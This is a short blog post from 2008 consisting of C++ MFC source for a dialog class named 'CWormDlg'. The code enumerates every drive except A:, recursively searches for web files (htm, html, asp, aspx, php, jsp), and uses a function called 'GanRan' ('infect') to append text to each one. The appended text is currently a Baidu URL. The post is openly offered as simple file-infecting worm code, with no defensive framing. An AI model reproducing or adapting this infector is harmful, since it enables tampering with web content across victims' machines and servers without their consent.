void CWormDlg::OnFindFile()
{
// TOD Add your control notification handler code here
CString s;
char buff[26];  
       int len=GetLogicalDriveStrings(sizeof(buff),buff);

for(int a=0;a<len;a++)
{
     if(buff[a]==0)
     {
     s =buff[a-3];
     s+=buff[a-2];
     s+=buff[a-1];
     if(s=="A:\\")
     {continue;}
     else
     BrowseDir(s);
     }  
}
    
}

void CWormDlg::BrowseDir(CString strDir)
{
CString FileName;
CString strExt;
CFileFind ff;

CString szDir = strDir;

if(szDir.Right(1)!="\\")
     szDir+="\\";
szDir+="*.*";


BOOL res = ff.FindFile(szDir);
  
while(res)
{
     res     = ff.FindNextFile();
  
     if(ff.IsDirectory()&&!ff.IsDots())
     {
     BrowseDir(ff.GetFilePath());
     }
     else if(!ff.IsDirectory() && !ff.IsDots())
     {
     CString str;  
     str.Format("%s",ff.GetFilePath());
     FileName.Format("%s",ff.GetFileName());
     strExt=FileName.Mid(FileName.ReverseFind('.')+1);
     if(strExt=="htm" || strExt=="html" || strExt=="asp" || strExt=="aspx" || strExt=="php" || strExt=="jsp")
     {
       GanRan(str);
       Sleep(300);  
     }
      
     }  
}
ff.Close();
}

void CWormDlg::GanRan(CString Name)
{
  
CString str1;
CString WriteBuf="\r\nhttp://www.baidu.com";
str1=Name;
MessageBox(str1);
CStdioFile file(str1,CFile::modeNoTruncate|CFile::modeWrite);
file.SeekToEnd();
file.WriteString(WriteBuf);
file.Close();
}
posted on 2008-03-02 14:46  lovecl  阅读(134)  评论(0)    收藏  举报